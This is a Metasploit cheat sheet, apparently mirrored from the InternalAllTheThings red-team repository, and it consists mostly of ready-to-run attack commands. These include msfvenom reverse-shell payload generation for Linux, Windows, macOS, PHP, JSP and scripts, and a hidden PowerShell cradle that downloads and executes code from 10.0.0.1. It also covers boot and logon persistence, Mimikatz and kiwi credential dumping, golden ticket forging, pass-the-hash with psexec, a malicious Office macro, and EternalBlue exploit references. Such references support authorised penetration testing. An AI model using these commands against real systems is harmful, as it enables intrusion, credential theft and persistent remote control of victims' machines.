metasploit.md (7566B)
1 --- 2 title: "Metasploit" 3 section: "Command & Control" 4 sectionSlug: "command-control" 5 sourcePath: "docs/command-control/metasploit.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/command-control/metasploit.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Metasploit 12 13 ## Summary 14 15 * [Installation](#installation) 16 * [Sessions](#sessions) 17 * [Background handler](#background-handler) 18 * [Meterpreter - Basic](#meterpreter---basic) 19 * [Generate a meterpreter](#generate-a-meterpreter) 20 * [Meterpreter Webdelivery](#meterpreter-webdelivery) 21 * [Get System](#get-system) 22 * [Persistence Startup](#persistence-startup) 23 * [Network Monitoring](#network-monitoring) 24 * [Portforward](#portforward) 25 * [Upload / Download](#upload--download) 26 * [Execute from Memory](#execute-from-memory) 27 * [Mimikatz](#mimikatz) 28 * [Pass the Hash - PSExec](#pass-the-hash---psexec) 29 * [Use SOCKS Proxy](#use-socks-proxy) 30 * [Scripting Metasploit](#scripting-metasploit) 31 * [Multiple transports](#multiple-transports) 32 * [Best of - Exploits](#best-of---exploits) 33 * [References](#references) 34 35 ## Installation 36 37 ```powershell 38 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 39 ``` 40 41 ## Sessions 42 43 ```powershell 44 CTRL+Z -> Session in Background 45 sessions -> List sessions 46 sessions -i session_number -> Interact with Session with id 47 sessions -u session_number -> Upgrade session to a meterpreter 48 sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter 49 50 sessions -c cmd -> Execute a command on several sessions 51 sessions -i 10-20 -c "id" -> Execute a command on several sessions 52 ``` 53 54 ## Background handler 55 56 ExitOnSession : the handler will not exit if the meterpreter dies. 57 58 ```powershell 59 screen -dRR 60 sudo msfconsole 61 62 use exploit/multi/handler 63 set PAYLOAD generic/shell_reverse_tcp 64 set LHOST 0.0.0.0 65 set LPORT 4444 66 set ExitOnSession false 67 68 generate -o /tmp/meterpreter.exe -f exe 69 to_handler 70 71 [ctrl+a] + [d] 72 ``` 73 74 ## Meterpreter - Basic 75 76 ### Generate a meterpreter 77 78 ```powershell 79 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf 80 msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe 81 msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho 82 msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php 83 msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp 84 msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp 85 msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war 86 msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py 87 msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh 88 msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl 89 ``` 90 91 ### Meterpreter Webdelivery 92 93 Set up a Powershell web delivery listening on port 8080. 94 95 ```powershell 96 use exploit/multi/script/web_delivery 97 set TARGET 2 98 set payload windows/x64/meterpreter/reverse_http 99 set LHOST 10.0.0.1 100 set LPORT 4444 101 run 102 ``` 103 104 ```powershell 105 powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB'); 106 ``` 107 108 ### Get System 109 110 ```powershell 111 meterpreter > getsystem 112 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). 113 114 meterpreter > getuid 115 Server username: NT AUTHORITY\SYSTEM 116 ``` 117 118 ### Persistence Startup 119 120 ```powershell 121 OPTIONS: 122 123 -A Automatically start a matching exploit/multi/handler to connect to the agent 124 -L <opt> Location in target host to write payload to, if none %TEMP% will be used. 125 -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. 126 -S Automatically start the agent on boot as a service (with SYSTEM privileges) 127 -T <opt> Alternate executable template to use 128 -U Automatically start the agent when the User logs on 129 -X Automatically start the agent when the system boots 130 -h This help menu 131 -i <opt> The interval in seconds between each connection attempt 132 -p <opt> The port on which the system running Metasploit is listening 133 -r <opt> The IP of the system running Metasploit listening for the connect back 134 135 meterpreter > run persistence -U -p 4242 136 ``` 137 138 ### Network Monitoring 139 140 ```powershell 141 # list interfaces 142 run packetrecorder -li 143 144 # record interface n°1 145 run packetrecorder -i 1 146 ``` 147 148 ### Portforward 149 150 ```powershell 151 portfwd add -l 7777 -r 172.17.0.2 -p 3006 152 ``` 153 154 ### Upload / Download 155 156 ```powershell 157 upload /path/in/hdd/payload.exe exploit.exe 158 download /path/in/victim 159 ``` 160 161 ### Execute from Memory 162 163 ```powershell 164 execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w 165 ``` 166 167 ### Mimikatz 168 169 ```powershell 170 load mimikatz 171 mimikatz_command -f version 172 mimikatz_command -f samdump::hashes 173 mimikatz_command -f sekurlsa::wdigest 174 mimikatz_command -f sekurlsa::searchPasswords 175 mimikatz_command -f sekurlsa::logonPasswords full 176 ``` 177 178 ```powershell 179 load kiwi 180 creds_all 181 golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck> 182 ``` 183 184 ### Pass the Hash - PSExec 185 186 ```powershell 187 msf > use exploit/windows/smb/psexec 188 msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp 189 msf exploit(psexec) > exploit 190 SMBDomain WORKGROUP no The Windows domain to use for authentication 191 SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username 192 SMBUser Lambda no The username to authenticate as 193 ``` 194 195 ### Use SOCKS Proxy 196 197 ```powershell 198 setg Proxies socks4:127.0.0.1:1080 199 ``` 200 201 ## Scripting Metasploit 202 203 Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`. 204 Here is a simple example to script the deployment of a handler an create an Office doc with macro. 205 206 ```powershell 207 use exploit/multi/handler 208 set PAYLOAD windows/meterpreter/reverse_https 209 set LHOST 0.0.0.0 210 set LPORT 4646 211 set ExitOnSession false 212 exploit -j -z 213 214 215 use exploit/multi/fileformat/office_word_macro 216 set PAYLOAD windows/meterpreter/reverse_https 217 set LHOST 10.10.14.22 218 set LPORT 4646 219 exploit 220 ``` 221 222 ## Multiple transports 223 224 ```powershell 225 msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe 226 ``` 227 228 Then, in AddTransports.ps1 229 230 ```powershell 231 Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30 232 Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30 233 ``` 234 235 ## Best of - Exploits 236 237 * MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue` 238 * MS08_67 - `exploit/windows/smb/ms08_067_netapi` 239 240 ## References 241 242 * [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/) 243 * [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)